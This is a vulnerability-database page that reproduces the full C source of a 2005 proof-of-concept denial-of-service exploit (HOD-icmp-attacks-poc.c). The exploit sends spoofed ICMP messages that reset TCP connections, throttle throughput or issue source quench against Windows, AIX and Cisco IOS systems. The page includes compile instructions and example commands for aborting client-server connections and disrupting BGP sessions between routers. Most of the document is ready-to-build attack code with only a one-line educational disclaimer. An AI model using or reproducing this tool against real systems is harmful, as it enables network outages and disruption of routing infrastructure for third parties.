Lucene search
K

Multiple OS (Win32/Aix/Cisco) - Crafted ICMP Messages DoS Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 50 Views

Crafted ICMP Messages DoS Exploit against Multiple OS - Win32/Aix/Cisco. Affects Cisco Content Services Switch, Cisco Global Site Selector, Cisco IOS, Cisco PIX, Cisco SAN-OS, AIX, Windows Server 2003, Windows XP, Windows 2000. Causes TCP connection resets, throughput reduction, CPU, and memory resource consumption

Related
Code

                                                /* HOD-icmp-attacks-poc.c: 2005-04-15: PUBLIC v.0.2
*
* Copyright (c) 2004-2005 houseofdabus.
*
*              (MS05-019) (CISCO:20050412)
*       ICMP attacks against TCP (Proof-of-Concept)
*
*
*
*                 .::[ houseofdabus ]::.
*
*
*
* [ for more details:
* [ http://www.livejournal.com/users/houseofdabus
* ---------------------------------------------------------------------
* Systems Affected:
*    - Cisco Content Services Switch 11000 Series (WebNS)
*    - Cisco Global Site Selector (GSS) 4480 1.x
*    - Cisco IOS 10.x
*    - Cisco IOS 11.x
*    - Cisco IOS 12.x
*    - Cisco IOS R11.x
*    - Cisco IOS R12.x
*    - Cisco IOS XR (CRS-1) 3.x
*    - Cisco ONS 15000 Series
*    - Cisco PIX 6.x
*    - Cisco SAN-OS 1.x (MDS 9000 Switches)
*    - AIX 5.x
*    - Windows Server 2003
*    - Windows XP SP2
*    - Windows XP SP1
*    - Windows 2000 SP4
*    - Windows 2000 SP3
*      ...
*
* ---------------------------------------------------------------------
* Description:
*    A denial of service vulnerability exists that could allow an
*    attacker to send a specially crafted Internet Control Message
*    Protocol (ICMP) message to an affected system. An attacker who
*    successfully exploited this vulnerability could cause the affected
*    system to reset existing TCP connections, reduce the throughput
*    in existing TCP connections, or consume large amounts of CPU and
*    memory resources.
*    (CAN-2004-0790, CAN-2004-0791, CAN-2004-1060)
*
* ---------------------------------------------------------------------
* Solution:
*    http://www.microsoft.com/technet/security/Bulletin/MS05-019.mspx
*    http://www.cisco.com/warp/public/707/cisco-sa-20050412-icmp.shtml
*
* Other References:
*    http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html
*    http://www.kb.cert.org/vuls/id/222750
*
* ---------------------------------------------------------------------
* Tested on:
*    - Windows Server 2003
*    - Windows XP SP1
*    - Windows 2000 SP4
*    - Cisco IOS 11.x
*
* ---------------------------------------------------------------------
* Compile:
*
* Win32/VC++  : cl -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
* Win32/cygwin: gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
* Linux       : gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
*
* ---------------------------------------------------------------------
* Examples:
*
*   client <---> router <---> router <---> server
*
*   CLIENT <---> SERVER
*
*   HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:1
*   (abort the connection)
*
*   HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:2
*   (slow down the transmission rate for traffic)
*
*
*   ROUTER1 <---> ROUTER2
*
*   HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:179 -a:1
*   (DoS Cisco BGP Connections)
*
*   HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:80 -a:2
*   (slow down the transmission rate for traffic)
*
* ---------------------------------------------------------------------
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission
* to do so.
*
*/

/* #define _WIN32 */

#ifdef _WIN32
#pragma comment(lib,"ws2_32")
#pragma pack(1)
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
/* IP_HDRINCL */
#include <ws2tcpip.h>

#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/timeb.h>
#endif

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

#define MAX_PACKET         4096

#define DEFAULT_PORT       80
#define DEFAULT_IP         "192.168.0.1"
#define DEFAULT_COUNT      1

/* Define the IP header */
typedef struct ip_hdr {
       unsigned char  ip_verlen;       /* IP version & length */
       unsigned char  ip_tos;          /* IP type of service */
       unsigned short ip_totallength;  /* Total length */
       unsigned short ip_id;           /* Unique identifier */
       unsigned short ip_offset;       /* Fragment offset field */
       unsigned char  ip_ttl;          /* Time to live */
       unsigned char  ip_protocol;     /* Protocol */
       unsigned short ip_checksum;     /* IP checksum */
       unsigned int   ip_srcaddr;      /* Source address */
       unsigned int   ip_destaddr;     /* Destination address */
} IP_HDR, *PIP_HDR;

/* Define the ICMP header */
/* Destination Unreachable Message */
typedef struct icmp_hdr {
       unsigned char  type;            /* Type */
       unsigned char  code;            /* Code */
       unsigned short checksum;        /* Checksum */
       unsigned long  unused;          /* Unused */
} ICMP_HDR, *PICMP_HDR;

/* 64 bits of Original Data Datagram (TCP header) */
char msg[] =
"\x00\x50"                              /* Source port */
"\x00\x50"                              /* Destination port */
"\x23\x48\x4f\x44";

/* globals */
unsigned long   dwToIP,                 /* IP to send to */
               dwFromIP;               /* IP to send from (spoof) */
unsigned short  iToPort,                /* Port to send to */
               iFromPort;              /* Port to send from (spoof) */
unsigned long   dwCount;                /* Number of times to send */
unsigned long   Attack;

void
usage(char *progname) {
       printf("Usage:\n\n");
       printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> <-fi:SRC-PORT> [-tp:int] [-a:int] [-n:int]\n\n", progname);
       printf("       -fi:IP    From (sender) IP address\n");
       printf("       -ti:IP    To (target) IP address\n");
       printf("       -fp:int   Target open TCP port number\n");
       printf("                 (for example - 21, 25, 80)\n");
       printf("       -tp:int   Inicial value for bruteforce (sender) TCP port number\n");
       printf("                 (default: 0 = range of ports 0-65535)\n");
       printf("       -n:int    Number of packets\n\n");
       printf("       -a:int    ICMP attacks:\n");
       printf("                    1 - Blind connection-reset attack\n");
       printf("                        (ICMP protocol unreachable)\n");
       printf("                    2 - Path MTU discovery attack\n");
       printf("                        (slow down the transmission rate)\n");
       printf("                    3 - ICMP Source Quench attack\n");
       exit(1);
}

void
ValidateArgs(int argc, char **argv)
{
       int i;

       iToPort = 0;
       iFromPort = DEFAULT_PORT;
       dwToIP = inet_addr(DEFAULT_IP);
       dwFromIP = inet_addr(DEFAULT_IP);
       dwCount = DEFAULT_COUNT;
       Attack = 1;

       for (i = 1; i < argc; i++) {
               if ((argv[i][0] == '-') || (argv[i][0] == '/')) {
                       switch (tolower(argv[i][1])) {
                               case 'f':
                                       switch (tolower(argv[i][2])) {
                                               case 'p':
                                                       if (strlen(argv[i]) > 4)
                                                       iFromPort = atoi(&argv[i][4]);
                                                       break;
                                               case 'i':
                                                       if (strlen(argv[i]) > 4)
                                                       dwFromIP = inet_addr(&argv[i][4]);
                                                       break;
                                               default:
                                                       usage(argv[0]);
                                                       break;
                                       }
                                       break;
                               case 't':
                                       switch (tolower(argv[i][2])) {
                                               case 'p':
                                                       if (strlen(argv[i]) > 4)
                                                       iToPort = atoi(&argv[i][4]);
                                                       break;
                                               case 'i':
                                                       if (strlen(argv[i]) > 4)
                                                       dwToIP = inet_addr(&argv[i][4]);
                                                       break;
                                               default:
                                                       usage(argv[0]);
                                                       break;
                                       }
                                       break;
                               case 'n':
                                       if (strlen(argv[i]) > 3)
                                       dwCount = atol(&argv[i][3]);
                                       break;
                               case 'a':
                                       if (strlen(argv[i]) > 3)
                                       Attack = atol(&argv[i][3]);
                                       if ((Attack > 3) || (Attack < 1))
                                       usage(argv[0]);
                                       break;
                               default:
                                       usage(argv[0]);
                                       break;
                       }
               }
       }
       return;
}

/*    This function calculates the 16-bit one's complement sum */
/*    for the supplied buffer */
unsigned short
checksum(unsigned short *buffer, int size)
{
       unsigned long cksum = 0;

       while (size > 1) {
               cksum += *buffer++;
               size  -= sizeof(unsigned short);
       }
       if (size) {
               cksum += *(unsigned char *)buffer;
       }
       cksum = (cksum >> 16) + (cksum & 0xffff);
       cksum += (cksum >>16);

       return (unsigned short)(~cksum);
}

int
main(int argc, char **argv)
{

#ifdef _WIN32
       WSADATA         wsd;
#endif
       int             s;
#ifdef _WIN32
       BOOL            bOpt;
#else
       int             bOpt;
#endif
       struct sockaddr_in remote;
       IP_HDR          ipHdr,
                       ipHdrInc;
       ICMP_HDR        icmpHdr;
       int             ret;
       unsigned long   i, p;
       unsigned short  iTotalSize,
                       iIPVersion,
                       iIPSize,
                       p2,
                       cksum = 0;
       char            buf[MAX_PACKET],
                       *ptr = NULL;
#ifdef _WIN32
       IN_ADDR         addr;
#else
       struct sockaddr_in addr;
#endif

       printf("\n               (MS05-019) (CISCO:20050412)\n");
       printf("       ICMP attacks against TCP (Proof-of-Concept)\n\n");
       printf("        Copyright (c) 2004-2005 .: houseofdabus :.\n\n\n");

       if (argc < 3) usage(argv[0]);

       /* Parse command line arguments and print them out */
       ValidateArgs(argc, argv);
#ifdef _WIN32
       addr.S_un.S_addr = dwFromIP;
       printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr), iFromPort);
       addr.S_un.S_addr = dwToIP;
       printf("[*] To   IP: <%s>, port: %d\n", inet_ntoa(addr), iToPort);
       printf("[*] Count:   %d\n", dwCount);
#else
       addr.sin_addr.s_addr = dwFromIP;
       printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iFromPort);
       addr.sin_addr.s_addr = dwToIP;
       printf("[*] To   IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iToPort);
       printf("[*] Count:   %d\n", dwCount);
#endif

#ifdef _WIN32
       if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {
               printf("[-] WSAStartup() failed: %d\n", GetLastError());
               return -1;
       }
#endif
       /*  Creating a raw socket */
       s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
#ifdef _WIN32
       if (s == INVALID_SOCKET) {
#else
       if (s < 0) {
#endif
               printf("[-] socket() failed\n");
               return -1;
       }

       /* Enable the IP header include option */
#ifdef _WIN32
       bOpt = TRUE;
#else
       bOpt = 1;
#endif
       ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));
#ifdef _WIN32
       if (ret == SOCKET_ERROR) {
               printf("[-] setsockopt(IP_HDRINCL) failed: %d\n", WSAGetLastError());
               return -1;
       }
#endif

       /* Initalize the IP header */
       iTotalSize = sizeof(ipHdr) + sizeof(icmpHdr) + sizeof(msg)-1 + sizeof(ipHdrInc);

       iIPVersion = 4;
       iIPSize = sizeof(ipHdr) / sizeof(unsigned long);

       ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;
       ipHdr.ip_tos = 0;               /* IP type of service */
                                       /* Total packet len */
       ipHdr.ip_totallength = htons(iTotalSize);
       ipHdr.ip_id = htons(42451);     /* Unique identifier */
       ipHdr.ip_offset = 0;            /* Fragment offset field */
       ipHdr.ip_ttl = 255;             /* Time to live */
       ipHdr.ip_protocol = 0x1;        /* Protocol(ICMP) */
       ipHdr.ip_checksum = 0;          /* IP checksum */
       ipHdr.ip_srcaddr = dwFromIP;    /* Source address */
       ipHdr.ip_destaddr = dwToIP;     /* Destination address */

       ipHdrInc.ip_verlen = (iIPVersion << 4) | iIPSize;
       ipHdrInc.ip_tos = 0;            /* IP type of service */
                                       /* Total packet len */
       ipHdrInc.ip_totallength = htons(sizeof(ipHdrInc)+20);
       ipHdrInc.ip_id = htons(25068);  /* Unique identifier */

       ipHdrInc.ip_offset = 0;         /* Fragment offset field */
       ipHdrInc.ip_ttl = 255;          /* Time to live */
       ipHdrInc.ip_protocol = 0x6;     /* Protocol(TCP) */
       ipHdrInc.ip_checksum = 0;       /* IP checksum */
       ipHdrInc.ip_srcaddr = dwToIP;   /* Source address */
       ipHdrInc.ip_destaddr = dwFromIP;/* Destination address */

       /* Initalize the ICMP header */
       icmpHdr.checksum = 0;
       if (Attack == 1) {
               icmpHdr.type = 3;       /* Destination Unreachable Message */
               icmpHdr.code = 2;       /* protocol unreachable */
               icmpHdr.unused = 0;
       } else if (Attack == 2) {
               icmpHdr.type = 3;       /* Destination Unreachable Message */
               icmpHdr.code = 4;       /* fragmentation needed and DF set */
               icmpHdr.unused = 0x44000000; /* next-hop MTU - 68 */
       } else {
               icmpHdr.type = 4;       /* Source Quench Message */
               icmpHdr.code = 0;
               icmpHdr.unused = 0;
       }

       memset(buf, 0, MAX_PACKET);
       ptr = buf;

       memcpy(ptr, &ipHdr, sizeof(ipHdr));       ptr += sizeof(ipHdr);
       memcpy(ptr, &icmpHdr, sizeof(icmpHdr));   ptr += sizeof(icmpHdr);
       memcpy(ptr, &ipHdrInc, sizeof(ipHdrInc)); ptr += sizeof(ipHdrInc);
       memcpy(ptr, msg, sizeof(msg)-1);
       iFromPort = htons(iFromPort);
       memcpy(ptr, &iFromPort, 2);

       remote.sin_family = AF_INET;
       remote.sin_port = htons(iToPort);
       remote.sin_addr.s_addr = dwToIP;

       cksum = checksum((unsigned short *)&ipHdrInc, 20);
       memcpy(buf+20+sizeof(icmpHdr)+10, &cksum, 2);

       cksum = checksum((unsigned short *)&ipHdr, 20);
       memcpy(buf+10, &cksum, 2);

       for (p = iToPort; p <= 65535; p++) {
               p2 = htons((short)p);
               memcpy((char *)(ptr+2), &p2, 2);
               buf[22] = 0;
               buf[23] = 0;
               cksum = checksum((unsigned short *)(buf+20), sizeof(icmpHdr)+28);
               memcpy(buf+20+2, &cksum, 2);

               for (i = 0; i < dwCount; i++) {
#ifdef _WIN32
                       ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote,
                               sizeof(remote));
#else
                       ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) &remote,
                       sizeof(remote));
#endif
#ifdef _WIN32
                       if (ret == SOCKET_ERROR) {
#else
                       if (ret < 0) {
#endif
                               printf("[-] sendto() failed\n");
                               break;
                       }
               }
       }

#ifdef _WIN32
       closesocket(s);
       WSACleanup();
#endif

       return 0;
}

// milw0rm.com [2005-04-20]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation